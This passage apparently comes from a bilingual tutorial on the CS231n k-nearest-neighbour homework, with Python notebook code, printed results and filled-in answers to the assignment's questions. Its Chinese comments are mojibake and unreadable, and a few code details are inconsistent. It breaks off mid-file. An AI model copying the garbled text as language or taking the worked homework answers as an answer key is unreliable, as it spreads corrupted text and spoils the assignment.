Learning](http://link.zhihu.com/?target=http%3A//homes.cs.washington.edu/%257Epedrod/papers/cacm12.pdf)๏ผŒๆ–‡ไธญ็ฌฌ6่Š‚ไธŽๆœฌ่Š‚็›ธๅ…ณ๏ผŒไฝ†ๆ˜ฏๆ•ด็ฏ‡ๆ–‡็ซ ้ƒฝๅผบ็ƒˆๆŽจ่ใ€‚\n- [Recognizing and Learning Object Categories](http://link.zhihu.com/?target=http%3A//people.csail.mit.edu/torralba/shortCourseRLOC/index.html)๏ผŒICCV 2005ไธŠ็š„ไธ€่Š‚ๅ…ณไบŽ็‰ฉไฝ“ๅˆ†็ฑป็š„่ฏพ็จ‹ใ€‚\n\n## ไฝœไธš๏ผšk-Nearest Neighbor (kNN)\n\n่ฏฅassignmentไฝœไธš็š„[ๅฎ˜ๆ–น่ฏดๆ˜Žๅœฐๅ€](http://cs231n.github.io/assignments2017/assignment1/)(Q1: k-Nearest Neighbor classifier) \n\nๅ†…ๅซๆ•ฐๆฎ้›†ไธ‹่ฝฝๅŠžๆณ•๏ผŒ็Žฏๅขƒ็‰ˆๆœฌๆ”ฏๆŒไฟกๆฏใ€‚\n\n- ้ฆ–ๅ…ˆ๏ผŒๅˆๅง‹ๅŒ–ไธ€ไบ›ไปฃ็ ๏ผš\n\n```python\nimport random\nimport numpy as np\nfrom cs231n.data_utils import load_CIFAR10\nimport matplotlib.pyplot as plt\n\nfrom __future__ import print_function\n\n# This is a bit of magic to make matplotlib figures appear inline in the notebook\n# rather than in a new window.\n#่ฟ™้‡Œๆœ‰ไธ€ไธชๅฐๆŠ€ๅทงๅฏไปฅ่ฎฉmatplotlib็”ป็š„ๅ›พๅ‡บ็Žฐๅœจnotebook้กต้ขไธŠ๏ผŒ่€Œไธๆ˜ฏๆ–ฐๅปบไธ€ไธช็”ปๅ›พ็ช—ๅฃ\n%matplotlib inline\n# set default size of plots ่ฎพ็ฝฎ้ป˜่ฎค็š„็ป˜ๅ›พ็ช—ๅฃๅคงๅฐ\nplt.rcParams['figure.figsize'] = (10.0, 8.0) \nplt.rcParams['image.interpolation'] = 'nearest' # ๅทฎๅ€ผๆ–นๅผ\nplt.rcParams['image.cmap'] = 'gray' # ็ฐๅบฆ็ฉบ้—ด\n\n# Some more magic so that the notebook will reload external python modules;\n# see http://stackoverflow.com/questions/1907993/autoreload-of-modules-in-ipython\n#ๅฆไธ€ไธชๅฐๆŠ€ๅทง๏ผŒไธ‹้ข็š„่ฏญๅฅไผš่ฎฉnotebook่‡ชๅŠจๅŠ ่ฝฝๆœ€ๆ–ฐ็‰ˆๆœฌ็š„ๅค–้ƒจpythonๆจกๅ—\n#่ฏฆๆƒ…่ง http://stackoverflow.com/questions/1907993/autoreload-of-modules-in-ipython\n%load_ext autoreload\n%autoreload 2\n```\n\nThere is a trick: when you **forget all** of the meaning of autoreload when using `ipython`, just try:\n\n```python\nimport autoreload\n?autoreload\n```\n\n- ๅŠ ่ฝฝๆ•ฐๆฎๆบ๏ผš\n\n```python\n# Load the raw CIFAR-10 data.\n# ่ฟ™้‡ŒๅŠ ่ฝฝๆ•ฐๆฎๆบ็š„ๆ–นๆณ•ๅœจdata_utils.pyไธญ๏ผŒไผšๅฐ†data_batch_!ๅˆฐ5็š„ๆ•ฐๆฎไฝœไธบ่ฎญ็ปƒ้›†๏ผŒtest_batchไฝœไธบๆต‹่ฏ•้›†\ncifar10_dir = 'cs231n/datasets/cifar-10-batches-py'\nX_train, y_train, X_test, y_test = load_CIFAR10(cifar10_dir)\n\n# As a sanity check, we print out the size o f the training and test data.\n# ๆฃ€ๆŸฅไธ€ไธ‹ๆ•ฐๆฎ๏ผŒๆ‰“ๅฐ่ฎญ็ปƒ้›†ๅŠๅ…ถๆ ‡็ญพๅ’Œๆต‹่ฏ•้›†ๅŠๅ…ถๆ ‡็ญพ็š„ๅคงๅฐ \nprint('Training data shape: ', X_train.shape)\nprint('Training labels shape: ', y_train.shape)\nprint('Test data shape: ', X_test.shape)\nprint('Test labels shape: ', y_test.shape)\n# ่ฟ”ๅ›žๅ€ผๆ˜ฏ๏ผš\n# Training data shape: (50000, 32, 32, 3)\n# Training labels shape: (50000,)\n# Test data shape: (10000, 32, 32, 3)\n# Test labels shape: (10000,)\n```\n\n- ๆฅ็œ‹็œ‹ๆ•ฐๆฎ้›†้ƒฝ้•ฟไป€ไนˆๆ ท๏ผš\n\n```python\n# Visualize some examples from the dataset.\n# We show a few examples of training images from each class.\n# ่ฟ™้‡Œๆˆ‘ไปฌๅฐ†่ฎญ็ปƒ้›†ไธญๆฏไธ€ไธช็ฑปๅˆซ็š„ๆ ทๆœฌ้šๆœบๆŒ‘ๅ‡บๅ‡ ไธช่ฟ›่กŒๅฑ•็คบ\nclasses = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\nnum_classes = len(classes) # ็ฑปๅˆซๆ•ฐ็›ฎ\nsamples_per_class = 7 # ๆฏไธช็ฑปๅˆซ้‡‡ๆ ทไธชๆ•ฐ\n# ๅฏนๅˆ—่กจ็š„ๅ…ƒ็ด ไฝ็ฝฎๅ’Œๅ…ƒ็ด ่ฟ›่กŒๅพช็Žฏ๏ผš\nfor y, cls in enumerate(classes): # ่ฟ™้‡Œๅฏนๅบ”็”Ÿๆˆ็š„ๆ˜ฏ (y, cls) = (0, plane), (1, car), (2, bird), ..., (9, truck)\n # ๅœจๅพช็Žฏๆฏไธ€ไธช็ฑปๅˆซๆ—ถ๏ผŒๆŒ‘ๅ‡บๆต‹่ฏ•้›†yไธญ่ฏฅ็ฑปๅˆซๅ›พ็‰‡็š„็ดขๅผ•ไฝ็ฝฎ๏ผˆindex๏ผ‰๏ผš\n idxs = np.flatnonzero(y_train == y) \n # np.flatnonzeroๅ‡ฝๆ•ฐ๏ผš่ฟ”ๅ›žๆ‰ๅนณๅŒ–ๅŽ็Ÿฉ้˜ตไธญ้ž้›ถๅ…ƒ็ด (ๆˆ–็œŸๅ€ผ)็š„ไฝ็ฝฎ็ดขๅผ•๏ผˆindex๏ผ‰\n # ้šๆœบไปŽidxsไธญ้€‰ๅ–num_classesไธชๆ•ฐ็š„ๅ†…ๅฎน๏ผŒๅนถๅฐ†้€‰ๅ–็ป“ๆžœ็”Ÿๆˆๆ–ฐ็š„arrayไธญ่ฟ”ๅ›ž\n idxs = np.random.choice(idxs, samples_per_class, replace=False)\n for i, idx in enumerate(idxs): # ๅŒไธŠ๏ผŒi่กจ็คบๅพช็Žฏidx็š„ๅบๅˆ—ๅท๏ผŒidxๆ˜ฏidxs็š„ๅ…ƒ็ด ไน‹ไธ€\n plt_idx = i * num_classes + y + 1 # ๅœจๅญๅ›พไธญๆ‰€ๅ ไฝ็ฝฎ็š„่ฎก็ฎ—๏ผŒ็ซ–็€ไธ€ๅˆ—ไธ€ๅˆ—็”ป็š„ใ€‚\n plt.subplot(samples_per_class, num_classes, plt_idx) # ่ฏดๆ˜Ž่ฆ็”ป็š„ๅญๅ›พ็š„็ผ–ๅท\n plt.imshow(X_train[idx].astype('uint8')) # showๅ‡บimage\n plt.axis('off')\n if i == 0:\n plt.title(cls) # ๆฏๅฝ“็”ป็ฌฌไธ€่กŒๅ›พๅƒๆ—ถ๏ผŒๅ†™ไธŠๆ ‡้ข˜๏ผŒไนŸๅฐฑๆ˜ฏ็ฑปๅˆซๅ\nplt.show()\n\n# REF๏ผšhttp://www.cnblogs.com/lijiajun/p/5479523.html\n```\n\n![](http://upload-images.jianshu.io/upload_images/2301760-77211119464a6c5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- ๆ•ฐๆฎๅ‡†ๅค‡\n\n```python\n# Subsample the data for more efficient code execution in this exercise\n# ไธบไบ†ๆ›ด้ซ˜ๆ•ˆๅœฐ่ฟ่กŒๆˆ‘ไปฌ็š„ไปฃ็ ๏ผŒ่ฟ™้‡Œๅ–ๅ‡บไธ€ไธชๅญ้›†่ฟ›่กŒๅŽ้ข็š„็ปƒไน ๏ผˆๅ–่ฎญ็ปƒ้›†ๅ‰50000ไธช๏ผŒๆต‹่ฏ•้›†ๅ‰500ไธช๏ผ‰\nnum_training = 5000\nmask = list(range(num_training))\nX_train = X_train[mask]\ny_train = y_train[mask]\n\nnum_test = 500\nmask = list(range(num_test))\nX_test = X_test[mask]\ny_test = y_test[mask]\n```\n\n(ไธ‹้ข่ฟ™ไธ€ๆญฅๅฏไปฅ็œ)\n\n```python\n# Reshape the image data into rows\n# ๅฐ†ๅ›พๅƒๆ•ฐๆฎ่ฝฌ็ฝฎๆˆไบŒ็ปด็š„\nX_train = np.reshape(X_train, (X_train.shape[0], -1)) \nX_test = np.reshape(X_test, (X_test.shape[0], -1))\n# ่ฟ™้‡Œ็š„-1่กจ็คบ๏ผŒX_train.shape[0]ไฝœไธบๆ–ฐarray็š„่กŒๆ•ฐๅŽ๏ผŒๅ‰ฉไฝ™ๅฏ่‡ชๅŠจๆŽจๆ–ญๅ‡บ็š„ๅˆ—ๆ•ฐใ€‚\nprint(X_train.shape, X_test.shape)\n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# (5000, 3072) (500, 3072)\n```\n\n- ่ฎญ็ปƒๆจกๅž‹\n\nWe would now like to classify the test data with the kNN classifier. Recall that we can break down this process into two steps: \n็Žฐๅœจๆˆ‘ไปฌๅฏไปฅไฝฟ็”จkNNๅˆ†็ฑปๅ™จๅฏนๆต‹่ฏ•ๆ ทๆœฌ่ฟ›่กŒๅˆ†็ฑปไบ†ใ€‚ๆˆ‘ไปฌๅฏไปฅๅฐ†้ข„ๆต‹่ฟ‡็จ‹ๅˆ†ไธบไปฅไธ‹ไธคๆญฅ๏ผš\n\n1. First we must compute the distances between all test examples and all train examples. \n\n ้ฆ–ๅ…ˆ๏ผŒๆˆ‘ไปฌ้œ€่ฆ่ฎก็ฎ—ๆต‹่ฏ•ๆ ทๆœฌๅ’Œๆ‰€ๆœ‰่ฎญ็ปƒๆ ทๆœฌ็š„่ท็ฆปใ€‚\n\n2. Given these distances, for each test example we find the k nearest examples and have them vote for the label\n\n ๅพ—ๅˆฐ่ท็ฆป็Ÿฉ้˜ตๅŽ๏ผŒๆ‰พๅ‡บ็ฆปๆต‹่ฏ•ๆ ทๆœฌๆœ€่ฟ‘็š„kไธช่ฎญ็ปƒๆ ทๆœฌ๏ผŒ้€‰ๆ‹ฉๅ‡บ็Žฐๆฌกๆ•ฐๆœ€ๅคš็š„็ฑปๅˆซไฝœไธบๆต‹่ฏ•ๆ ทๆœฌ็š„็ฑปๅˆซ\n\nLets begin with computing the distance matrix between all training and test examples. For example, if there are **Ntr** training examples and **Nte** test examples, this stage should result in a **Nte x Ntr** matrix where each element (i,j) is the distance between the i-th test and j-th train example.\n้ฆ–ๅ…ˆ๏ผŒ่ฎก็ฎ—่ท็ฆป็Ÿฉ้˜ตใ€‚ๅฆ‚ๆžœ่ฎญ็ปƒๆ ทๆœฌๆœ‰**Ntr**ไธช๏ผŒๆต‹่ฏ•ๆ ทๆœฌๆœ‰**Nte**ไธช๏ผŒๅˆ™่ท็ฆป็Ÿฉ้˜ตๅบ”่ฏฅๆ˜ฏไธช**Nte x Ntr**ๅคงๅฐ็š„็Ÿฉ้˜ต๏ผŒๅ…ถไธญๅ…ƒ็ด [i,j]่กจ็คบ็ฌฌiไธชๆต‹่ฏ•ๆ ทๆœฌๅˆฐ็ฌฌjไธช่ฎญ็ปƒๆ ทๆœฌ็š„่ท็ฆปใ€‚\n\nFirst, open `cs231n/classifiers/k_nearest_neighbor.py` and implement the function `compute_distances_two_loops` that uses a (very inefficient) double loop over all pairs of (test, train) examples and computes the distance matrix one element at a time.\nไธ‹้ข๏ผŒๆ‰“ๅผ€`cs231n/classifiers/k_nearest_neighbor.py`๏ผŒๅนถ่กฅๅ…จ`compute_distances_two_loops`ๆ–นๆณ•๏ผŒๅฎƒไฝฟ็”จไบ†ไธ€ไธชไธคๅฑ‚ๅพช็Žฏ็š„ๆ–นๅผ๏ผˆ้žๅธธไฝŽๆ•ˆ๏ผ‰่ฎก็ฎ—ๆต‹่ฏ•ๆ ทๆœฌไธŽ่ฎญ็ปƒๆ ทๆœฌ็š„่ท็ฆป.\n\n```python\nfrom cs231n.classifiers import KNearestNeighbor\n\n# Create a kNN classifier instance. \n# Remember that training a kNN classifier is a noop: \n# the Classifier simply remembers the data and does no further processing \nclassifier = KNearestNeighbor()\nclassifier.train(X_train, y_train)\n```\n\n- ๆจกๅž‹ๆต‹่ฏ•\n\n```python\n# Open cs231n/classifiers/k_nearest_neighbor.py and implement\n# compute_distances_two_loops.\n# ๆ‰“ๅผ€cs231n/classifiers/k_nearest_neighbor.py๏ผŒ่กฅๅ…จcompute_distances_two_loopsๆ–นๆณ•\n\n# Test your implementation:\n# ๆต‹่ฏ•ไธ€ไธ‹\ndists = classifier.compute_distances_two_loops(X_test)\nprint(dists.shape)\n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# (500, 5000)\tๅ…ถdists[i,j]่กจ็คบ็š„ๆ˜ฏ็ฌฌiไธชๆต‹่ฏ•ๅ›พ็‰‡ไธŽ็ฌฌjไธช่ฎญ็ปƒๅ›พ็‰‡ไน‹้—ด็š„L2่ท็ฆป\n```\n\n- ่ท็ฆป็Ÿฉ้˜ตๅฏ่ง†ๅŒ–\n\n```python\n# We can visualize the distance matrix: each row is a single test example and\n# its distances to training examples\n# ๆˆ‘ไปฌๅฏไปฅๅฐ†่ท็ฆป็Ÿฉ้˜ต่ฟ›่กŒๅฏ่ง†ๅŒ–๏ผšๅ…ถไธญๆฏไธ€่กŒ่กจ็คบไธ€ไธชๆต‹่ฏ•ๆ ทๆœฌไธŽๆ‰€ๆœ‰่ฎญ็ปƒๆ ทๆœฌ็š„่ท็ฆป\nplt.imshow(dists, interpolation='none')\nplt.show()\n```\n\n![](https://i.loli.net/2018/08/19/5b78520ec103e.png)\n\n**Inline Question #1:** Notice the structured patterns in the distance matrix, where some rows or columns are visible brighter. (Note that with the default color scheme black indicates low distances while white indicates high distances.) \n\n**้—ฎไธชๅฐ้—ฎ้ข˜ #1:** ๅ›พไธญๅฏไปฅๆ˜Žๆ˜พ็œ‹ๅ‡บ๏ผŒ่กŒๅˆ—ไน‹้—ดๆœ‰้ขœ่‰ฒๆทฑๆต…ไน‹ๅˆ†ใ€‚๏ผˆๅ…ถไธญๆทฑ่‰ฒ่กจ็คบ่ท็ฆปๅ€ผๅฐ๏ผŒ่€Œๆต…่‰ฒ่กจ็คบ่ท็ฆปๅ€ผๅคง๏ผ‰\n\n1. What in the data is the cause behind the distinctly bright rows?\n\n ไป€ไนˆๅŽŸๅ› ๅฏผ่‡ดๅ›พไธญๆŸไบ›่กŒ็š„้ขœ่‰ฒๆ˜Žๆ˜พๅๆต…๏ผŸ\n\n2. What causes the columns?\n\n ไธบไป€ไนˆๆŸไบ›ๅˆ—็š„้ขœ่‰ฒๆ˜Žๆ˜พๅๆต…๏ผŸ\n\n**Your Answer**: *fill this in.* \n\n**ไฝ ็š„็ญ”ๆกˆ**: *ๅ†™ๅœจ่ฟ™้‡Œใ€‚*\n\n1. ๆต‹่ฏ•ๆ ทๆœฌไธŽ่ฎญ็ปƒ้›†ไธญ็š„ๆ ทๆœฌๅทฎๅผ‚่พƒๅคง๏ผŒ่ฏฅๆต‹่ฏ•ๆ ทๆœฌๅฏ่ƒฝๆ˜ฏๅ…ถไป–็ฑปๅˆซ็š„ๅ›พ็‰‡๏ผŒๆˆ–่€…ๆ˜ฏไธ€ไธชๅผ‚ๅธธๅ›พ็‰‡\n2. ๆ‰€ๆœ‰ๆต‹่ฏ•ๆ ทๆœฌไธŽ่ฏฅๅˆ—่กจ็คบ็š„่ฎญ็ปƒๆ ทๆœฌL2่ท็ฆป้ƒฝ่พƒๅคง\n\n```python\n# Now implement the function predict_labels and run the code below:\n# We use k = 1 (which is Nearest Neighbor).\n# ๅฎž็Žฐpredict_labelsๆ–นๆณ•๏ผŒ็„ถๅŽ่ฟ่กŒไธ‹ๅˆ—ไปฃ็ \n# ่ฟ™้‡Œๆˆ‘ไปฌๅฐ†k่ฎพ็ฝฎไธบ1\n\ny_test_pred = classifier.predict_labels(dists, k=1)\n\n# Compute and print the fraction of correctly predicted examples\n# ่ฎก็ฎ—ๅนถๆ‰“ๅฐๅ‡†็กฎ็Ž‡\nnum_correct = np.sum(y_test_pred == y_test)\naccuracy = float(num_correct) / num_test\nprint('Got %d / %d correct => accuracy: %f' % (num_correct, num_test, accuracy))\n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# Got 137 / 500 correct => accuracy: 0.274000\n```\n\nYou should expect to see approximately `27%` accuracy. Now lets try out a larger `k`, say `k = 5`: \n\n็ป“ๆžœๅบ”่ฏฅ็บฆไธบ27%ใ€‚็Žฐๅœจ๏ผŒๆˆ‘ไปฌๅฐ†k่ฐƒๅคงไธ€็‚น่ฏ•่ฏ•๏ผŒไปคk = 5๏ผš\n\n```python\ny_test_pred = classifier.predict_labels(dists, k=5)\nnum_correct = np.sum(y_test_pred == y_test)\naccuracy = float(num_correct) / num_test\nprint('Got %d / %d correct => accuracy: %f' % (num_correct, num_test, accuracy))\n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# Got 139 / 500 correct => accuracy: 0.278000\n```\n\nYou should expect to see a slightly better performance than with `k = 1`. \n\n็ป“ๆžœๅบ”่ฏฅ็•ฅๅฅฝไบŽk=1ๆ—ถ็š„ๆƒ…ๅ†ตใ€‚\n\n```python\n# Now lets speed up distance matrix computation by using partial vectorization\n# with one loop. Implement the function compute_distances_one_loop and run the\n# code below:\n# ็Žฐๅœจๆˆ‘ไปฌๅฐ†่ท็ฆป่ฎก็ฎ—็š„ๆ•ˆ็Ž‡ๆๅ‡ไธ€ไธ‹๏ผŒไฝฟ็”จๅ•ๅฑ‚ๅพช็Žฏ็ป“ๆž„็š„่ฎก็ฎ—ๆ–นๆณ•ใ€‚ๅฎž็Žฐ\n# compute_distances_one_loopๆ–นๆณ•๏ผŒๅนถ่ฟ่กŒไธ‹ๅˆ—ไปฃ็ \n\ndists_one = classifier.compute_distances_one_loop(X_test)\n\n# To ensure that our vectorized implementation is correct, we make sure that it\n# agrees with the naive implementation. There are many ways to decide whether\n# two matrices are similar; one of the simplest is the Frobenius norm. In case\n# you haven't seen it before, the Frobenius norm of two matrices is the square\n# root of the squared sum of differences of all elements; in other words, reshape\n# the matrices into vectors and compute the Euclidean distance between them.\n# ไธบไบ†ไฟ่ฏ็Ÿข้‡ๅŒ–็š„ไปฃ็ ่ฟ่กŒๆญฃ็กฎ๏ผŒๆˆ‘ไปฌๅฐ†่ฟ่กŒ็ป“ๆžœไธŽๅ‰้ข็š„ๆ–นๆณ•็š„็ป“ๆžœ่ฟ›่กŒๅฏนๆฏ”ใ€‚ๅฏนๆฏ”ไธคไธช\n# ็Ÿฉ้˜ตๆ˜ฏๅฆ็›ธ็ญ‰็š„ๆ–นๆณ•ๆœ‰ๅพˆๅคš๏ผŒๆฏ”่พƒ็ฎ€ๅ•็š„ไธ€็งๆ˜ฏไฝฟ็”จFrobenius่Œƒๆ•ฐใ€‚Frobenius่Œƒๆ•ฐ่กจ็คบ็š„\n# ๆ˜ฏไธคไธช็Ÿฉ้˜ตๆ‰€ๆœ‰ๅ…ƒ็ด ็š„ๆ’ๅ€ผ็š„ๅนณๆ–นๅ’Œ็š„ๆ นใ€‚ๆˆ–่€…่ฏดๆ˜ฏๅฐ†ไธคไธช็Ÿฉ้˜ตreshapeๆˆ็Ÿข้‡ๅŽ๏ผŒๅฎƒไปฌไน‹\n# ้—ด็š„ๆฌงๆฐ่ท็ฆป\ndifference = np.linalg.norm(dists - dists_one, ord='fro')\nprint('Difference was: %f' % (difference, ))\nif difference < 0.001:\n print('Good! The distance matrices are the same')\nelse:\n print('Uh-oh! The distance matrices are different')\n \n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# Difference was: 0.000000\n# Good! The distance matrices are the same\n```\n\n```python\n# Now implement the fully vectorized version inside compute_distances_no_loops\n# and run the code\n# ๅฎŒๆˆๅฎŒๅ…จ็Ÿข้‡ๅŒ–ๆ–นๅผ่ฟ่กŒ็š„compute_distances_no_loopsๆ–นๆณ•๏ผŒๅนถ่ฟ่กŒไธ‹ๅˆ—ไปฃ็ \ndists_two = classifier.compute_distances_no_loops(X_test)\n\n# check that the distance matrix agrees with the one we computed before:\n# ๅฐ†็ป“ๆžœไธŽไน‹ๅ‰็š„่ฎก็ฎ—็ป“ๆžœ่ฟ›่กŒๅฏนๆฏ”\ndifference = np.linalg.norm(dists - dists_two, ord='fro')\nprint('Difference was: %f' % (difference, ))\nif difference < 0.001:\n print('Good! The distance matrices are the same')\nelse:\n print('Uh-oh! The distance matrices are different')\n \n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# Difference was: 0.000000\n# Good! The distance matrices are the same\n```\n\n```python\n# Let's compare how fast the implementations are\n# ไธ‹้ขๆˆ‘ไปฌๅฏนๆฏ”ไธ€ไธ‹ๅ„ๆ–นๆณ•็š„ๆ‰ง่กŒ้€Ÿๅบฆ\ndef time_function(f, *args):\n \"\"\"\n Call a function f with args and return the time (in seconds) that it took to execute.\n \"\"\"\n import time\n tic = time.time()\n f(*args)\n toc = time.time()\n return toc - tic\n\ntwo_loop_time = time_function(classifier.compute_distances_two_loops, X_test)\nprint('Two loop version took %f seconds' % two_loop_time)\n\none_loop_time = time_function(classifier.compute_distances_one_loop, X_test)\nprint('One loop version took %f seconds' % one_loop_time)\n\nno_loop_time = time_function(classifier.compute_distances_no_loops, X_test)\nprint('No loop version took %f seconds' % no_loop_time)\n\n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# Two loop version took 57.122203 seconds\n# One loop version took 71.512672 seconds\n# No loop version took 0.510630 seconds\n\n# you should see significantly faster performance with the fully vectorized implementation\n# ไฝ ๅบ”่ฏฅๅฏไปฅ็œ‹ๅˆฐ๏ผŒๅฎŒๅ…จ็Ÿข้‡ๅŒ–็š„ไปฃ็ ่ฟ่กŒๆ•ˆ็Ž‡ๆœ‰ๆ˜Žๆ˜พ็š„ๆ้ซ˜\n```\n\n### Cross-validation\n\nWe have implemented the k-Nearest Neighbor classifier but we set the value k = 5 arbitrarily. We will now determine the best value of this hyperparameter with cross-validation.\n\n### ไบคๅ‰้ชŒ่ฏ\n\nไน‹ๅ‰ๆˆ‘ไปฌๅทฒ็ปๅฎŒๆˆไบ†k-Nearestๅˆ†็ฑปๅ™จ็š„็ผ–ๅ†™๏ผŒไฝ†ๆ˜ฏๅฏนไบŽkๅ€ผ็š„้€‰ๆ‹ฉๅพˆ้šๆ„ใ€‚ไธ‹้ขๆˆ‘ไปฌๅฐ†ไฝฟ็”จไบคๅ‰้ชŒ่ฏ็š„ๆ–นๆณ•้€‰ๆ‹ฉๆœ€ไผ˜็š„่ถ…ๅ‚ๆ•ฐkใ€‚\n\n```python\nnum_folds = 5\nk_choices = [1, 3, 5, 8, 10, 12, 15, 20, 50, 100]\n\nX_train_folds = []\ny_train_folds = []\n################################################################################\n# TODO: #\n# Split up the training data into folds. After splitting, X_train_folds and #\n# y_train_folds should each be lists of length num_folds, where #\n# y_train_folds[i] is the label vector for the points in X_train_folds[i]. #\n# Hint: Look up the numpy array_split function. #\n# ไปปๅŠก: #\n# ๅฐ†่ฎญ็ปƒๆ•ฐๆฎๅˆ‡ๅˆ†ๆˆไธๅŒ็š„ๆŠ˜ใ€‚ๅˆ‡ๅˆ†ไน‹ๅŽ,่ฎญ็ปƒๆ ทๆœฌๅ’Œๅฏนๅบ”็š„ๆ ทๆœฌๆ ‡็ญพ่ขซๅŒ…ๅซๅœจๆ•ฐ็ป„ #\n# X_train_foldsๅ’Œy_train_foldsไน‹ไธญ๏ผŒๆ•ฐ็ป„้•ฟๅบฆๆ˜ฏๆŠ˜ๆ•ฐnum_foldsใ€‚ๅ…ถไธญ #\n# y_train_folds[i]ๆ˜ฏไธ€ไธช็Ÿข้‡๏ผŒ่กจ็คบ็Ÿข้‡X_train_folds[i]ไธญๆ‰€ๆœ‰ๆ ทๆœฌ็š„ๆ ‡็ญพ #\n# ๆ็คบ: ๅฏไปฅๅฐ่ฏ•ไฝฟ็”จnumpy็š„array_splitๆ–นๆณ•ใ€‚ #\n################################################################################\nX_train_folds = np.array_split(X_train, num_folds)\t\ny_train_folds = np.array_split(y_train, num_folds)\n# ไปฅnum_folds็š„ๆŠ˜ๆ•ฐไปŽๅ‰ๅ‘ๅŽๅˆ†ๅ‰ฒ๏ผŒๆœ€ๅŽไธๅคŸnum_foldsๆ•ฐ็›ฎ็š„ไธบๆœ€ๅŽไธ€ๆŠ˜\n################################################################################\n# END OF YOUR CODE #\n# ็ป“ๆŸ #\n################################################################################\n\n# A dictionary holding the accuracies for different values of k that we find\n# when running cross-validation. After running cross-validation,\n# k_to_accuracies[k] should be a list of length num_folds giving the different\n# accuracy values that we found when using that value of k.\n# ๆˆ‘ไปฌๅฐ†ไธๅŒkๅ€ผไธ‹็š„ๅ‡†็กฎ็Ž‡ไฟๅญ˜ๅœจไธ€ไธชๅญ—ๅ…ธไธญใ€‚ไบคๅ‰้ชŒ่ฏไน‹ๅŽ๏ผŒk_to_accuracies[k]ไฟๅญ˜ไบ†\n# kๅ€ผไธ‹๏ผŒไธ€ไธช้•ฟๅบฆไธบๆŠ˜ๆ•ฐ็š„ๅ‡†็กฎ็Ž‡็Ÿข้‡\n\nk_to_accuracies = {}\nfor k in k_choices:\n k_to_accuracies.setdefault(k, [])\n################################################################################\n# TODO: #\n# Perform k-fold cross validation to find the best value of k. For each #\n# possible value of k, run the k-nearest-neighbor algorithm num_folds times, #\n# where in each case you use all but one of the folds as training data and the #\n# last fold as a validation set. Store the accuracies for all fold and all #\n# values of k in the k_to_accuracies dictionary. #\n# ไปปๅŠก: #\n# ้€š่ฟ‡kๆŠ˜็š„ไบคๅ‰้ชŒ่ฏๆ‰พๅˆฐๆœ€ไฝณkๅ€ผใ€‚ๅฏนไบŽๆฏไธ€ไธชkๅ€ผ๏ผŒๆ‰ง่กŒkNN็ฎ—ๆณ•num_foldsๆฌก๏ผŒๆฏไธ€ๆฌก #\n# ๆ‰ง่กŒไธญ๏ผŒ้€‰ๆ‹ฉไธ€ๆŠ˜ไธบ่ฎญ็ปƒ้›†๏ผŒๆœ€ๅŽไธ€ๆŠ˜ไธบ้ชŒ่ฏ้›†ใ€‚ๅฐ†ไธๅŒkๅ€ผๅœจไธๅŒๆŠ˜ไธŠ็š„่ฟ็ฎ—็ป“ๆžœไฟ #\n# ๅญ˜ๅœจk_to_accuraciesๅญ—ๅ…ธไธญใ€‚ #\n################################################################################\nfor i in range(num_folds):\n classifier = KNearestNeighbor()\n X_train_ = np.vstack(X_train_folds[:i] + X_train_folds[i+1:])\n y_train_ = np.hstack(y_train_folds[:i] + y_train_folds[i+1:])\n classifier.train(X_train_, y_train_)\n for k in k_choices:\n y_pred_ = classifier.predict(X_train_folds[i], k=k)\n accuracy = np.mean(y_pred_ == y_train_folds[i])\n k_to_accuracies[k].append(accuracy)\n################################################################################\n# END OF YOUR CODE #\n################################################################################\n\n# Print out the computed accuracies\nfor k in sorted(k_to_accuracies):\n for accuracy in k_to_accuracies[k]:\n print('k = %d, accuracy = %f' % (k, accuracy))\n```\n\n```python\n# plot the raw observations\n# ็”ปไธชๅ›พไผšๆ›ด็›ด่ง‚ไธ€็‚น\nfor k in k_choices:\n accuracies = k_to_accuracies[k]\n plt.scatter([k] * len(accuracies), accuracies)\n\n# plot the trend line with error bars that correspond to standard deviation\n# ็”ปๅ‡บๅœจไธๅŒkๅ€ผไธ‹๏ผŒ่ฏฏๅทฎๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎ\naccuracies_mean = np.array([np.mean(v) for k,v in sorted(k_to_accuracies.items())])\naccuracies_std = np.array([np.std(v) for k,v in sorted(k_to_accuracies.items())])\nplt.errorbar(k_choices, accuracies_mean, yerr=accuracies_std)\nplt.title('Cross-validation on k')\nplt.xlabel('k')\nplt.ylabel('Cross-validation accuracy')\nplt.show()\n```\n\n![](http://images2015.cnblogs.com/blog/1131087/201703/1131087-20170322095846736-165706060.png)\n\n```python\n# Based on the cross-validation results above, choose the best value for k, \n# retrain the classifier using all the training data, and test it on the test\n# data. You should be able to get above 28% accuracy on the test data.\n# ๆ นๆฎไธŠ้ขไบคๅ‰้ชŒ่ฏ็š„็ป“ๆžœ๏ผŒ้€‰ๆ‹ฉๆœ€ไผ˜็š„k๏ผŒ็„ถๅŽๅœจๅ…จ้‡ๆ•ฐๆฎไธŠ่ฟ›่กŒ่ฏ•้ชŒ๏ผŒไฝ ๅฐ†ๅพ—ๅˆฐ็บฆ28%็š„ๅ‡†็กฎ็Ž‡\nbest_k = 6\n\nclassifier = KNearestNeighbor()\nclassifier.train(X_train, y_train)\ny_test_pred = classifier.predict(X_test, k=best_k)\n\n# Compute and display the accuracy\n# ่ฎก็ฎ—ๅนถๅฑ•็คบๅ‡†็กฎ็Ž‡\nnum_correct = np.sum(y_test_pred == y_test)\naccuracy = float(num_correct) / num_test\nprint('Got %d / %d correct => accuracy: %f' % (num_correct, num_test, accuracy))\n\n# ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n# Got 141 / 500 correct => accuracy: 0.282000\n```\n\n\n\n### k_nearest_neighbor.py\n\n```python\n#-*- coding:utf-8 -*-\nimport numpy as np\n#from past.builtins import xrange\n\nclass KNearestNeighbor(object):\n \"\"\" a kNN classifier with L2 distance \"\"\"\n\t\"\"\" ไฝฟ็”จL2่ท็ฆป็š„kNNๅˆ†็ฑปๅ™จ \"\"\"\n\n\tdef 